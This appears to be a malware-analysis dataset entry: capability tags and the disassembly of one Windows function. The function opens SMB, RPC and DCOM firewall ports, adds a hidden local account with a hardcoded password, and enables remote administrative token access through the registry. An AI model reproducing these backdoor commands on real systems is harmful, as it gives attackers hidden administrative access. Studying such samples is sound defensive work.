Function at 0x4015b0
Capabilities:
Create process on windows
Create process suspended
Get system information on windows
Set registry value

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push ebx
push ecx
sub esp, 0x15c
call fcn.0040adb0
lea eax, [ebp - 0x54]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call eax
sub esp, 4
mov dword [ebp - 0x1c], str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov dword [ebp - 0x20], str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonSpecialAccountsUserlist
lea edx, [ebp - 0x9c]
mov eax, 0
mov ecx, 0x11
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x9c], 0x44
lea eax, [ebp - 0x2d]
mov ecx, eax
call fcn.00465690
lea eax, [ebp - 0xc4]
lea edx, [ebp - 0x2d]
mov dword [esp + 4], edx
mov dword [esp], str.netsh.exe_advfirewall_firewall_add_rule_nameallow445_protocolTCP_dirin_localport445_actionallow
mov ecx, eax
call fcn.0049b7b0
sub esp, 8
lea eax, [ebp - 0x2d]
mov ecx, eax
call fcn.004656c0
lea eax, [ebp - 0x2c]
mov ecx, eax
call fcn.00465690
lea eax, [ebp - 0xdc]
lea edx, [ebp - 0x2c]
mov dword [esp + 4], edx
mov dword [esp], str.netsh_advfirewall_firewall_add_rule_nameallow135_protocolTCP_dirin_localport135_actionallow
mov ecx, eax
call fcn.0049b7b0
sub esp, 8
lea eax, [ebp - 0x2c]
mov ecx, eax
call fcn.004656c0
lea eax, [ebp - 0x2b]
mov ecx, eax
call fcn.00465690
lea eax, [ebp - 0xf4]
lea edx, [ebp - 0x2b]
mov dword [esp + 4], edx
mov dword [esp], str.net_user_DefaultAccount0_14getrekkt88__add
mov ecx, eax
call fcn.0049b7b0
sub esp, 8
lea eax, [ebp - 0x2b]
mov ecx, eax
call fcn.004656c0
lea eax, [ebp - 0x2a]
mov ecx, eax
call fcn.00465690
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x2a]
mov dword [esp + 4], edx
mov dword [esp], str.net_localgroup
mov ecx, eax
call fcn.0049b7b0
sub esp, 8
lea eax, [ebp - 0x2a]
mov ecx, eax
call fcn.004656c0
lea eax, [ebp - 0x29]
mov ecx, eax
call fcn.00465690
lea eax, [ebp - 0x124]
lea edx, [ebp - 0x29]
mov dword [esp + 4], edx
mov dword [esp], str.netsh.exe_advfirewall_firewall_add_rule_nameallowdcom_protocolTCP_dirin_localport40000_50000_actionallow
mov ecx, eax
call fcn.0049b7b0
sub esp, 8
lea eax, [ebp - 0x29]
mov ecx, eax
call fcn.004656c0
lea eax, [ebp - 0xc4]
mov dword [esp], 0
mov ecx, eax
call fcn.0049b100
sub esp, 4
lea eax, [ebp - 0xdc]
mov dword [esp], 0
mov ecx, eax
call fcn.0049b100
sub esp, 4
lea eax, [ebp - 0xf4]
mov dword [esp], 0
mov ecx, eax
call fcn.0049b100
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], 0
mov ecx, eax
call fcn.0049b100
sub esp, 4
lea eax, [ebp - 0x124]
mov dword [esp], 0
mov ecx, eax
call fcn.0049b100
sub esp, 4
lea eax, [ebp - 0x58]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [ebp - 0x24], str.DefaultAccount0
mov dword [ebp - 0x28], str.LocalAccountTokenFilterPolicy
mov dword [ebp - 0x128], 1
mov dword [ebp - 0x12c], 0
mov eax, dword [ebp - 0x58]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x128]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov edx, dword [ebp - 0x28]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
test eax, eax
sete al
test al, al
je 0x401817
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
lea eax, [ebp - 0xc4]
mov dword [esp], 0
mov ecx, eax
call fcn.0049c090
sub esp, 4
lea edx, [ebp - 0xac]
mov dword [esp + 0x24], edx
lea edx, [ebp - 0x9c]
mov dword [esp + 0x20], edx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
test eax, eax
setne al
test al, al
je 0x4018d1
mov eax, dword [ebp - 0xac]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0xa8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
lea eax, [ebp - 0xdc]
mov dword [esp], 0
mov ecx, eax
call fcn.0049c090
sub esp, 4
lea edx, [ebp - 0xac]
mov dword [esp + 0x24], edx
lea edx, [ebp - 0x9c]
mov dword [esp + 0x20], edx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
test eax, eax
setne al
test al, al
je 0x40198b
mov eax, dword [ebp - 0xac]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0xa8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
lea eax, [ebp - 0xf4]
mov dword [esp], 0
mov ecx, eax
call fcn.0049c090
sub esp, 4
lea edx, [ebp - 0xac]
mov dword [esp + 0x24], edx
lea edx, [ebp - 0x9c]
mov dword [esp + 0x20], edx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
test eax, eax
setne al
test al, al
je 0x401a45
mov eax, dword [ebp - 0xac]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0xa8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], 0
mov ecx, eax
call fcn.0049c090
sub esp, 4
lea edx, [ebp - 0xac]
mov dword [esp + 0x24], edx
lea edx, [ebp - 0x9c]
mov dword [esp + 0x20], edx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
test eax, eax
setne al
test al, al
je 0x401aff
mov eax, dword [ebp - 0xac]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0xa8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
lea eax, [ebp - 0x124]
mov dword [esp], 0
mov ecx, eax
call fcn.0049c090
sub esp, 4
lea edx, [ebp - 0xac]
mov dword [esp + 0x24], edx
lea edx, [ebp - 0x9c]
mov dword [esp + 0x20], edx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
test eax, eax
setne al
test al, al
je 0x401bb9
mov eax, dword [ebp - 0xac]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0xa8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
movzx eax, word [ebp - 0x54]
cmp ax, 9
jne 0x401c16
lea eax, [ebp - 0x130]
mov dword [esp + 0x20], eax
lea eax, [ebp - 0x58]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf013f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
jmp 0x401c70
movzx eax, word [ebp - 0x54]
test ax, ax
jne 0x401c70
lea eax, [ebp - 0x130]
mov dword [esp + 0x20], eax
lea eax, [ebp - 0x58]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
mov eax, dword [ebp - 0x58]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x12c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov edx, dword [ebp - 0x24]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
test eax, eax
sete al
test al, al
je 0x401cc2
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov ebx, 0
lea eax, [ebp - 0x124]
mov ecx, eax
call fcn.0049be90
lea eax, [ebp - 0x10c]
mov ecx, eax
call fcn.0049be90
lea eax, [ebp - 0xf4]
mov ecx, eax
call fcn.0049be90
lea eax, [ebp - 0xdc]
mov ecx, eax
call fcn.0049be90
lea eax, [ebp - 0xc4]
mov ecx, eax
call fcn.0049be90
mov eax, ebx
jmp 0x401daa
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop edi
pop ebp
lea esp, [ecx - 4]
ret